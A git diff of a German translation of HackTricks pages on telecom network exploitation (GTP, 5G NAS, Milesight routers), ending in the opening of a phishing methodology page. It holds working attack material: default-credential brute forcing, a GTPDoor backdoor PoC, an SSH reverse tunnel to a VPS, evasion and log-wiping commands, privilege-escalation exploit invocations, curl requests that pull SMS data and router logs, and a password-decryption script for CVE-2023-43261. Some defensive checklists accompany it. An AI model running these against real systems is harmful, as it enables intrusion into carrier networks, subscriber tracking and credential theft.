Translated ['', 'src/generic-methodologies-and-resources/phishing-method

src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

@@ -1,27 +1,27 @@
-# Telecom Network Exploitation (GTP / Roaming Environments)
+# Telecom Network Exploitation (GTP / Roaming-Umgebungen)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!NOTE]
-> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) durchlaufen häufig halbvertrauenswürdige GRX/IPX roaming backbones. Da sie auf plain UDP mit nahezu keiner Authentifizierung laufen, kann **jedes foothold innerhalb eines telecom perimeter normalerweise direkt die core signalling planes erreichen**. Die folgenden Notizen sammeln offensive Tricks, die in freier Wildbahn gegen SGSN/GGSN, PGW/SGW und andere EPC-Nodes beobachtet wurden.
+> Mobile-Core-Protokolle (GPRS Tunnelling Protocol – GTP) durchlaufen häufig semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie über plain UDP mit nahezu keiner Authentifizierung laufen, **kann jedes foothold innerhalb eines Telekom-Perimeters in der Regel die Core-Signalisierungsebenen direkt erreichen**. Die folgenden Hinweise sammeln offensive Tricks, die in der Praxis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.
 
 ## 1. Recon & Initial Access
 
 ### 1.1  Default OSS / NE Accounts
-Eine überraschend große Anzahl von Herstellers-Netzelementen wird mit festkodierten SSH-/Telnet-Benutzern ausgeliefert, wie `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Eine dedizierte wordlist erhöht den Brute-Force-Erfolg dramatisch:
+Eine überraschend große Anzahl von Vendor-Netzelementen wird mit hartkodierten SSH/Telnet-Benutzern ausgeliefert, z. B. `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Eine dedizierte Wortliste erhöht den Brute-Force-Erfolg dramatisch:
 ```bash
 hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
 ```
-Wenn das Gerät nur ein Management-VRF exponiert, pivot zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» weiter unten).
+If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
 
-### 1.2  Host-Erkennung innerhalb von GRX/IPX
+### 1.2  Host Discovery innerhalb von GRX/IPX
-Die meisten GRX-Betreiber erlauben weiterhin **ICMP echo** über das Backbone. Kombiniere `masscan` mit den integrierten `gtpv1` UDP-Probes, um GTP-C-Listener schnell zu kartieren:
+Die meisten GRX-Operatoren erlauben nach wie vor **ICMP echo** über das Backbone. Kombiniere `masscan` mit den eingebauten `gtpv1` UDP probes, um GTP-C listeners schnell zu erfassen:
 ```bash
 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
 ```
-## 2. Auflisten von Teilnehmern – `cordscan`
+## 2. Enumerierung von Abonnenten – `cordscan`
 
-Das folgende Go-Tool konstruiert **GTP-C Create PDP Context Request** Pakete und protokolliert die Antworten. Jede Antwort offenbart die aktuelle **SGSN / MME**, die die abgefragte IMSI bedient, und manchmal das vom Teilnehmer besuchte PLMN.
+Das folgende Go-Tool erzeugt **GTP-C Create PDP Context Request**-Pakete und protokolliert die Antworten. Jede Antwort offenbart die aktuell angefragte IMSI bedienende **SGSN / MME** und manchmal das vom Abonnenten besuchte PLMN.
 ```bash
 # Build
 GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@@ -30,11 +30,11 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
 ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
 ```
 Wichtige Flags:
-- `--imsi` IMSI des Zielabonnenten
+- `--imsi` IMSI des Ziel-Abonnenten
-- `--oper` Heimnetz / HNI (MCC+MNC)
+- `--oper` Home / HNI (MCC+MNC)
 - `-w`      Rohpakete in pcap schreiben
 
-Wichtige Konstanten innerhalb der Binärdatei können gepatcht werden, um Scans zu erweitern:
+Wichtige Konstanten innerhalb der binary können gepatcht werden, um Scans zu erweitern:
 ```
 pingtimeout       = 3   // seconds before giving up
 pco               = 0x218080
@@ -42,9 +42,9 @@ common_tcp_ports  = "22,23,80,443,8080"
 ```
 ## 3. Code-Ausführung über GTP – `GTPDoor`
 
-`GTPDoor` ist ein kleiner ELF-Dienst, der **an UDP 2123 bindet und jedes eingehende GTP-C-Paket parst**. Wenn die Payload mit einem pre-shared tag beginnt, wird der Rest mit AES-128-CBC entschlüsselt und über `/bin/sh -c` ausgeführt. Die stdout/stderr werden in **Echo Response** messages exfiltrated, sodass niemals eine outward session erstellt wird.
+`GTPDoor` ist ein kleiner ELF-Dienst, der **an UDP 2123 bindet und jedes eingehende GTP-C-Paket parst**. Wenn die Payload mit einem vorab geteilten Tag beginnt, wird der Rest (AES-128-CBC) entschlüsselt und über `/bin/sh -c` ausgeführt. stdout/stderr werden innerhalb von **Echo Response**-Nachrichten exfiltriert, sodass niemals eine ausgehende Session erzeugt wird.
 
-Minimal PoC packet (Python):
+Minimales PoC-Paket (Python):
 ```python
 import gtpc, Crypto.Cipher.AES as AES
 key = b"SixteenByteKey!"
@@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
 print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
 ```
 Erkennung:
-* jeder Host, der **unbalanced Echo Requests** an SGSN-IP-Adressen sendet
+* beliebiger Host, der **unbalanced Echo Requests** an SGSN IPs sendet
-* GTP-Version-Flag auf 1 gesetzt, während message type = 1 (Echo) – Abweichung von der Spezifikation
+* GTP version flag auf 1 gesetzt, während message type = 1 (Echo) – Abweichung von der Spezifikation
 
 ## 4. Pivoting durch den Core
 
 ### 4.1  `sgsnemu` + SOCKS5
-`OsmoGGSN` enthält einen SGSN-Emulator, der in der Lage ist, **einen PDP context zu einem realen GGSN/PGW aufzubauen**. Nach der Aushandlung erhält Linux eine neue `tun0`-Schnittstelle, die vom roaming peer erreichbar ist.
+`OsmoGGSN` liefert einen SGSN-Emulator, der in der Lage ist, **einen PDP context zu einem realen GGSN/PGW aufzubauen**. Sobald ausgehandelt, erhält Linux ein neues `tun0`-Interface, das vom roaming peer erreichbar ist.
 ```bash
 sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
 -APN internet -c 1 -d
 ip route add 172.16.0.0/12 dev tun0
 microsocks -p 1080 &   # internal SOCKS proxy
 ```
-Mit richtigem firewall hair-pinning umgeht dieser Tunnel signalling-only VLANs und bringt dich direkt in die **Datenebene**.
+Mit korrektem firewall hair-pinning umgeht dieser Tunnel signalling-only VLANs und gelangt direkt in die **Datenebene**.
 
-### 4.2  SSH Reverse Tunnel über Port 53
+### 4.2  SSH Reverse Tunnel over Port 53
-DNS ist in Roaming-Infrastrukturen fast immer offen. Stelle einen internen SSH-Dienst auf deinem VPS bereit, der auf :53 lauscht, und melde dich später von zu Hause an:
+DNS ist in Roaming-Infrastrukturen fast immer offen. Stelle einen internen SSH-Service auf deinem VPS bereit, der auf :53 lauscht, und kehre später von zu Hause zurück:
 ```bash
 ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
 ```
-Prüfe, dass `GatewayPorts yes` auf dem VPS aktiviert ist.
+Stellen Sie sicher, dass `GatewayPorts yes` auf dem VPS aktiviert ist.
 
-## 5. Covert Channels
+## 5. Verdeckte Kanäle
 
-| Kanal | Transport | Decodierung | Anmerkungen |
+| Kanal | Transport | Decodierung | Hinweise |
 |---------|-----------|----------|-------|
-| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | rein passiver Listener, kein ausgehender Datenverkehr |
+| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | vollständig passiver Listener, kein ausgehender Verkehr |
 | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | überwacht die Subdomain `*.nodep` |
-| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mischt sich in legitimen GTP-C-Verkehr ein |
+| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mischt sich mit legitimen GTP-C-Kommunikationen |
 
-Alle implants implementieren watchdogs, die ihre Binaries mittels **timestomp** manipulieren und sich nach einem Absturz neu starten.
+Alle implants verfügen über watchdogs, die **timestomp** ihre binaries anwenden und bei Absturz neu starten (re-spawn).
 
 ## 6. Defense Evasion Cheatsheet
 ```bash
@@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1]
 touch -r /usr/bin/time /usr/bin/chargen   # timestomp
 setenforce 0                              # disable SELinux
 ```
-## 7. Privilege Escalation auf Legacy NE
+## 7. Privilege Escalation auf älteren NE
 ```bash
 # DirtyCow – CVE-2016-5195
 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@@ -111,79 +111,79 @@ python3 PwnKit.py
 # Sudo Baron Samedit – CVE-2021-3156
 python3 exploit_userspec.py
 ```
-Aufräumhinweis:
+Bereinigungstipp:
 ```bash
 userdel firefart 2>/dev/null
 rm -f /tmp/sh ; history -c
 ```
-## 8. Werkzeugkasten
+## 8. Tool Box
 
-* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling beschrieben in vorherigen Abschnitten.
+* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
-* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
+* `FScan` : Intranet-TCP-Scans (`fscan -p 22,80,443 10.0.0.0/24`)
 * `Responder` : LLMNR/NBT-NS rogue WPAD
-* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
+* `Microsocks` + `ProxyChains` : leichtgewichtiges SOCKS5 pivoting
-* `FRP` (≥0.37) : NAT-Traversal / asset bridging
+* `FRP` (≥0.37) : NAT traversal / asset bridging
 
-## 9. 5G NAS-Registrierungsangriffe: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
+## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
 
-Das 5G-Registrierungsverfahren läuft über NAS (Non-Access Stratum) auf NGAP. Bis die NAS-Security durch Security Mode Command/Complete aktiviert ist, sind Initialnachrichten weder authentifiziert noch verschlüsselt. Dieses Pre-Security-Fenster ermöglicht mehrere Angriffswege, wenn man N2-Traffic beobachten oder manipulieren kann (z. B. on-path im Core, rogue gNB oder im Testbed).
+Die 5G-Registrierungsprozedur läuft über NAS (Non-Access Stratum) oberhalb von NGAP. Bis NAS-Security durch Security Mode Command/Complete aktiviert ist, sind Initialnachrichten unauthentifiziert und unverschlüsselt. Dieses Pre-Security-Fenster ermöglicht mehrere Angriffsvektoren, wenn man N2-Traffic beobachten oder manipulieren kann (z. B. on-path innerhalb des Core, rogue gNB oder Testbed).
 
-Vereinfachter Registrierungsfluss:
+Registrierungsablauf (vereinfacht):
-- Registration Request: UE sendet SUCI (verschlüsseltes SUPI) und capabilities.
+- Registration Request: UE sendet SUCI (verschlüsseltes SUPI) und Fähigkeiten.
-- Authentication: AMF/AUSF senden RAND/AUTN; UE liefert RES* zurück.
+- Authentication: AMF/AUSF senden RAND/AUTN; UE antwortet mit RES*.
-- Security Mode Command/Complete: NAS-Integrität und Ciphering werden verhandelt und aktiviert.
+- Security Mode Command/Complete: NAS-Integrität und Verschlüsselung werden ausgehandelt und aktiviert.
-- PDU Session Establishment: IP/QoS-Einrichtung.
+- PDU Session Establishment: IP/QoS-Konfiguration.
 
-Tipps zum Lab-Setup (non-RF):
+Laboraufbau-Tipps (non-RF):
-- Core: Open5GS Default-Deployment ist ausreichend, um die Flows zu reproduzieren.
+- Core: Open5GS Standard-Deployment reicht aus, um die Flows zu reproduzieren.
-- UE: Simulator oder Test-UE; mit Wireshark dekodieren.
+- UE: Simulator oder Test-UE; mit Wireshark decodieren.
-- Aktive Tools: 5GReplay (capture/modify/replay NAS innerhalb von NGAP), Sni5Gect (sniffen/patchen/injecten von NAS on-the-fly ohne kompletten rogue gNB aufzusetzen).
+- Aktive Tools: 5GReplay (NAS innerhalb von NGAP erfassen/ändern/wiedergeben), Sni5Gect (NAS on-the-fly sniff/patch/inject ohne einen vollständigen rogue gNB hochzufahren).
 - Nützliche Display-Filter in Wireshark:
 - ngap.procedure_code == 15 (InitialUEMessage)
 - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
 
-### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
+### 9.1 Identitätsschutz: SUCI leaks, die SUPI/IMSI offenlegen
-Erwartung: UE/USIM muss SUCI übertragen (SUPI mit dem öffentlichen Schlüssel des Home-Network verschlüsselt). Das Auffinden eines Klartext-SUPI/IMSI im Registration Request weist auf einen Privacy-Defekt hin, der persistentes Subscriber-Tracking ermöglicht.
+Erwartung: UE/USIM müssen SUCI übertragen (SUPI, mit dem Public Key des Home-Network verschlüsselt). Das Auffinden eines Klartext-SUPI/IMSI in der Registration Request deutet auf einen Privacy-Defekt hin, der persistentes Subscriber-Tracking ermöglicht.
 
 Wie testen:
-- Capture die erste NAS-Nachricht im InitialUEMessage und inspiziere das Mobile Identity IE.
+- Fange die erste NAS-Nachricht in InitialUEMessage ab und untersuche das Mobile Identity IE.
-- Wireshark Quick-Checks:
+- Wireshark-Schnellchecks:
 - Es sollte als SUCI dekodiert werden, nicht als IMSI.
-- Filter-Beispiele: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` sollte vorhanden sein; Fehlen dessen zusammen mit der Anwesenheit von `imsi` indicates a leak.
+- Filter-Beispiele: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` sollte vorhanden sein; Abwesenheit plus Vorhandensein von `imsi` deutet auf einen Leak hin.
 
-Was zu sammeln ist:
+Was zu erfassen ist:
-- MCC/MNC/MSIN falls exponiert; pro UE protokollieren und über Zeit/Standorte nachverfolgen.
+- MCC/MNC/MSIN, falls exponiert; pro UE protokollieren und über Zeit/Orte nachverfolgen.
 
-Abhilfemaßnahmen:
+Gegenmaßnahmen:
-- SUCI-only UEs/USIMs durchsetzen; Alarm bei jedem IMSI/SUPI im initialen NAS.
+- Nur SUCI-fähige UEs/USIMs zulassen; bei jedem IMSI/SUPI im initialen NAS Alarm auslösen.
 
-### 9.2 Herabstufung der Capability-Angaben zu Null-Algorithmen (EEA0/EIA0)
+### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
 Hintergrund:
-- UE gibt unterstützte EEA (Verschlüsselung) und EIA (Integrität) im UE Security Capability IE des Registration Request an.
+- Das UE gibt unterstützte EEA (Verschlüsselung) und EIA (Integrität) im UE Security Capability IE der Registration Request an.
-- Gängige Zuordnungen: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sind Null-Algorithmen.
+- Übliche Zuordnungen: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sind Null-Algorithmen.
 
 Problem:
-- Da der Registration Request nicht integritätsgeschützt ist, kann ein on-path Angreifer Capability-Bits löschen, um später während Security Mode Command die Auswahl von EEA0/EIA0 zu erzwingen. Einige Stacks erlauben fälschlicherweise Null-Algorithmen auch außerhalb von Notfalldiensten.
+- Da die Registration Request nicht integritätsgeschützt ist, kann ein on-path-Angreifer Capability-Bits löschen, um später während des Security Mode Command die Auswahl von EEA0/EIA0 zu erzwingen. Einige Stacks erlauben fälschlich Null-Algorithmen außerhalb von Emergency-Services.
 
 Angriffsschritte:
-- Intercept InitialUEMessage und modifiziere das NAS UE Security Capability, sodass nur noch EEA0/EIA0 advertiert werden.
+- InitialUEMessage abfangen und das NAS UE Security Capability so modifizieren, dass nur EEA0/EIA0 gemeldet werden.
 - Mit Sni5Gect die NAS-Nachricht hooken und die Capability-Bits patchen, bevor weitergeleitet wird.
-- Beobachten, ob das AMF Null-Ciphers/Integrity akzeptiert und Security Mode mit EEA0/EIA0 abschließt.
+- Beobachten, ob der AMF Null-Chiffren/-Integrität akzeptiert und Security Mode mit EEA0/EIA0 abschließt.
 
 Verifikation/Sichtbarkeit:
 - In Wireshark die ausgewählten Algorithmen nach Security Mode Command/Complete bestätigen.
-- Beispielausgabe eines passiven Sniffers:
+- Beispiel eines passiven Sniffer-Outputs:
 ```
 Encyrption in use [EEA0]
 Integrity in use [EIA0, EIA1, EIA2]
 SUPI (MCC+MNC+MSIN) 9997000000001
 ```
-Gegenmaßnahmen (verpflichtend):
+Gegenmaßnahmen (erforderlich):
-- Konfigurieren Sie AMF/policy, um EEA0/EIA0 abzulehnen, außer dort, wo dies strikt vorgeschrieben ist (z. B. Notrufe).
+- Konfigurieren Sie AMF/policy so, dass EEA0/EIA0 abgelehnt werden, außer dort, wo sie strikt vorgeschrieben sind (z. B. Notrufe).
-- Setzen Sie mindestens EEA2/EIA2 durch; protokollieren und alarmieren Sie bei jedem NAS-Sicherheitskontext, der Null-Algorithmen aushandelt.
+- Bevorzugen Sie die Durchsetzung von mindestens EEA2/EIA2; protokollieren und alarmieren Sie bei jedem NAS-Sicherheitskontext, der null-Algorithmen aushandelt.
 
-### 9.3 Replay der initial Registration Request (pre-security NAS)
+### 9.3 Replay der initialen Registration Request (pre-security NAS)
-Da das initiale NAS keine Integrität und Aktualität bietet, kann eine aufgezeichnete InitialUEMessage+Registration Request an das AMF wieder abgespielt werden.
+Da das initiale NAS keine Integrität und Frische bietet, kann ein aufgezeichnetes InitialUEMessage+Registration Request an das AMF wiederholt werden.
 
 PoC-Regel für 5GReplay, um passende Replays weiterzuleiten:
 ```xml
@@ -208,34 +208,93 @@ boolean_expression="nas_5g.message_type == 65"/>
 </property>
 </beginning>
 ```
-Zu beobachten:
+What to observe:
-- Ob das AMF das Replay akzeptiert und zur Authentication übergeht; fehlende Prüfung auf Aktualität und Kontextbindung weist auf eine Verwundbarkeit hin.
+- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
 
 Gegenmaßnahmen:
-- Replay-Schutz/Kontextbindung am AMF durchsetzen; Ratenbegrenzung und Korrelation pro GNB/UE.
+- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
 
-### 9.4 Tooling pointers (reproducible)
+### 9.4 Tooling-Hinweise (reproduzierbar)
-- Open5GS: ein AMF/SMF/UPF starten, um das Core zu emulieren; N2 (NGAP) und NAS beobachten.
+- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
-- Wireshark: Decodes von NGAP/NAS prüfen; die oben genannten Filter anwenden, um Registration zu isolieren.
+- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
-- 5GReplay: eine Registration aufzeichnen, dann spezifische NGAP- + NAS-Nachrichten gemäß Regel replayen.
+- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
-- Sni5Gect: live sniff/modify/inject des NAS control-plane, um null algorithms zu erzwingen oder Authentication-Sequenzen zu stören.
+- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
 
-### 9.5 Defensive checklist
+### 9.5 Defensive Checkliste
-- Fortlaufend Registration Request auf Klartext SUPI/IMSI prüfen; auffällige Geräte/USIMs sperren.
+- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
-- EEA0/EIA0 ablehnen, außer für eng definierte Notfallverfahren; mindestens EEA2/EIA2 verlangen.
+- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
-- Nicht autorisierte oder fehlkonfigurierte Infrastruktur erkennen: nicht autorisierte gNB/AMF, unerwartete N2-Peers.
+- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
-- Alarmieren bei NAS-Sicherheitsmodi, die zu null algorithms führen oder häufige Replays von InitialUEMessage verursachen.
+- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
 
 ---
-## Erkennungsideen
+
+## 10. Industrielle Mobilfunk-Router – Unauthentifizierter SMS-API-Missbrauch (Milesight UR5X/UR32/UR35/UR41) und Wiederherstellung von Zugangsdaten (CVE-2023-43261)
+
+Das Ausnutzen exponierter Web-APIs industrieller Mobilfunk-Router ermöglicht verdecktes, großflächiges smishing mit Carrier-Ursprung. Milesight UR-Serie Router stellen einen JSON-RPC–artigen Endpunkt unter `/cgi` bereit. Bei Fehlkonfiguration kann die API ohne Authentifizierung abgefragt werden, um SMS inbox/outbox aufzulisten und in einigen Deployments SMS zu versenden.
+
+Typische unauthentifizierte Anfragen (gleiche Struktur für inbox/outbox):
+```http
+POST /cgi HTTP/1.1
+Host: <router>
+Content-Type: application/json
+
+{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
+```
+
+```json
+{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
+```
+Antworten enthalten Felder wie `timestamp`, `content`, `phone_number` (E.164) und `status` (`success` oder `failed`). Wiederholte `failed`-Sends an dieselbe Nummer sind oft Angreifer‑Fähigkeitsprüfungen, um zu validieren, dass ein Router/SIM zustellen kann, bevor sie mit dem Massenversand beginnen.
+
+Beispiel-curl, um SMS-Metadaten zu exfiltrieren:
+```bash
+curl -sk -X POST http://<router>/cgi \
+-H 'Content-Type: application/json' \
+-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
+```
+Notes on auth artifacts:
+- Einige Verbindungen können ein auth cookie enthalten, aber ein großer Anteil exponierter Geräte antwortet ohne jegliche Authentifizierung auf `query_inbox`/`query_outbox`, wenn die Management-Oberfläche dem Internet ausgesetzt ist.
+- In Umgebungen, die auth erfordern, stellen previously-leaked credentials (siehe unten) den Zugriff wieder her.
+
+Credential recovery path – CVE-2023-43261:
+- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
+- Issue: web-served logs (e.g., `httpd.log`) are reachable unauthenticated under `/lang/log/` and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript.
+- Practical access and decrypt:
+```bash
+curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
+# Look for entries like: {"username":"admin","password":"<base64>"}
+```
+Minimaler Python-Code zum Entschlüsseln von leaked Passwörtern (AES-128-CBC, hartkodierter Key/IV):
+```python
+import base64
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+KEY=b'1111111111111111'; IV=b'2222222222222222'
+enc_b64='...'  # value from httpd.log
+print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
+```
+Hunting and detection ideas (network):
+- Alarm bei unauthentifizierten `POST /cgi`, deren JSON-Body `base`/`function` auf `query_inbox` oder `query_outbox` gesetzt ist.
+- Verfolge wiederholte `POST /cgi`-Bursts, gefolgt von `status":"failed"`-Einträgen über viele eindeutige Nummern von derselben Quell-IP (capability testing).
+- Inventar von im Internet exponierten Milesight-Routern; Management auf VPN beschränken; SMS-Funktionen deaktivieren, sofern nicht erforderlich; auf ≥ v35.3.0.7 aktualisieren; Credentials rotieren und SMS-Logs auf unbekannte Sendungen überprüfen.
+
+Shodan/OSINT pivots (examples seen in the wild):
+- `http.html:"rt_title"` entspricht Milesight-Router-Panels.
+- Google dorking nach exponierten Logs: `"/lang/log/system" ext:log`.
+
+Operational impact: Die Verwendung legitimer Carrier-SIMs in Routern führt zu sehr hoher SMS-Zustellbarkeit und Glaubwürdigkeit für phishing, während die Exposition von inbox/outbox sensible Metadaten in großem Umfang leaks.
+
+---
+
+## Detection Ideas
 1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
-2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
+2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** von internen IPs.
-3. **Frequent Echo Requests without corresponding Echo Responses** – könnte auf GTPDoor beacons hindeuten.
+3. **Frequent Echo Requests without corresponding Echo Responses** – könnte auf GTPDoor beacons hinweisen.
 4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
 5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
-6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
+6. 5G: **NAS Security Mode negotiating EEA0/EIA0** außerhalb von Notfallkontexten.
 
-## Referenzen
+## References
 
 - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
 - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
@@ -243,5 +302,8 @@ Gegenmaßnahmen:
 - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
 - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
 - 3GPP TS 33.501 – Security architecture and procedures for 5G System
+- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
+- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
+- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/phishing-methodology/README.md

@@ -4,39 +4,40 @@
 
 ## Methodik
 
-1. Recon des Ziels
+1. Recon the victim
-1. Wähle die **Ziel-Domain**.
+1. Wähle die **victim domain**.
-2. Führe eine grundlegende Web-Enumeration durch, **suche nach Login-Portalen**, die vom Ziel verwendet werden, und **entscheide**, welches du **imitieren** wirst.
+2. Führe grundlegende web enumeration durch, indem du nach **login portals** suchst, die vom victim verwendet werden, und **decide**, welches du **impersonate** wirst.
-3. Nutze OSINT, um **E-Mails zu finden**.
+3. Nutze etwas **OSINT**, um **find emails**.
+
 2. Bereite die Umgebung vor
-1. **Kaufe die Domain**, die du für die Phishing-Bewertung verwenden wirst
+1. **Buy the domain** die du für die phishing assessment verwenden wirst
-2. **Konfiguriere die E-Mail-Service**-bezogenen Records (SPF, DMARC, DKIM, rDNS)
+2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
-3. Konfiguriere das VPS mit **gophish**
+3. Configure the VPS mit **gophish**
 3. Bereite die Kampagne vor
-1. Bereite die **E-Mail-Vorlage** vor
+1. Bereite die **email template** vor
-2. Bereite die **Webseite** vor, um die Zugangsdaten zu stehlen
+2. Bereite die **web page** vor, um die credentials zu stehlen
-4. Starte die Kampagne!
+4. Launch the campaign!
 
 ## Generate similar domain names or buy a trusted domain
 
 ### Domain Name Variation Techniques
 
-- **Keyword**: Der Domainname **enthält** ein wichtiges **Keyword** der Originaldomain (z. B. zelster.com-management.com).
+- **Keyword**: Der Domainname **contains** ein wichtiges **keyword** der Original-Domain (z. B. zelster.com-management.com).
-- **hypened subdomain**: Ersetze den **Punkt durch einen Bindestrich** in einer Subdomain (z. B. www-zelster.com).
+- **hypened subdomain**: Ersetze den **dot durch einen Bindestrich** einer Subdomain (z. B. www-zelster.com).
-- **New TLD**: Dieselbe Domain mit einer **neuen TLD** (z. B. zelster.org)
+- **New TLD**: Gleiche Domain mit einer **neuen TLD** (z. B. zelster.org)
-- **Homoglyph**: Ersetzt einen Buchstaben im Domainnamen durch **ähnlich aussehende Zeichen** (z. B. zelfser.com).
+- **Homoglyph**: Ersetzt einen Buchstaben im Domainnamen durch **Buchstaben, die ähnlich aussehen** (z. B. zelfser.com).
 
 
 {{#ref}}
 homograph-attacks.md
 {{#endref}}
-- **Transposition:** Es **tauscht zwei Buchstaben** innerhalb des Domainnamens aus (z. B. zelsetr.com).
+- **Transposition:** Vertauscht zwei Buchstaben innerhalb des Domainnamens (z. B. zelsetr.com).
-- **Singularization/Pluralization**: Fügt ein „s“ am Ende der Domain hinzu oder entfernt es (z. B. zeltsers.com).
+- **Singularization/Pluralization**: Fügt am Ende des Domainnamens ein „s“ hinzu oder entfernt es (z. B. zeltsers.com).
-- **Omission**: Entfernt **einen Buchstaben** aus dem Domainnamen (z. B. zelser.com).
+- **Omission**: Entfernt einen der Buchstaben aus dem Domainnamen (z. B. zelser.com).
-- **Repetition:** Wiederholt **einen Buchstaben** im Domainnamen (z. B. zeltsser.com).
+- **Repetition:** Wiederholt einen der Buchstaben im Domainnamen (z. B. zeltsser.com).
-- **Replacement**: Ähnlich wie Homoglyph, aber weniger unauffällig. Ersetzt einen Buchstaben im Domainnamen, möglicherweise durch einen Buchstaben in der Nähe auf der Tastatur (z. B. zektser.com).
+- **Replacement**: Ähnlich wie Homoglyph, aber weniger unauffällig. Ersetzt einen Buchstaben im Domainnamen, z. B. durch einen Nachbarbuchstaben auf der Tastatur (z. B. zektser.com).
-- **Subdomained**: Fügt einen **Punkt** innerhalb des Domainnamens ein (z. B. ze.lster.com).
+- **Subdomained**: Fügt einen **dot** innerhalb des Domainnamens ein (z. B. ze.lster.com).
-- **Insertion**: **Fügt einen Buchstaben ein** in den Domainnamen (z. B. zerltser.com).
+- **Insertion**: Fügt einen Buchstaben in den Domainnamen ein (z. B. zerltser.com).
 - **Missing dot**: Hängt die TLD an den Domainnamen an. (z. B. zelstercom.com)
 
 **Automatic Tools**
@@ -52,51 +53,51 @@ homograph-attacks.md
 
 ### Bitflipping
 
-Es besteht die **Möglichkeit, dass einzelne Bits, die gespeichert sind oder während der Kommunikation übertragen werden, automatisch umflippen** — verursacht durch Faktoren wie Sonnenstürme, kosmische Strahlung oder Hardwarefehler.
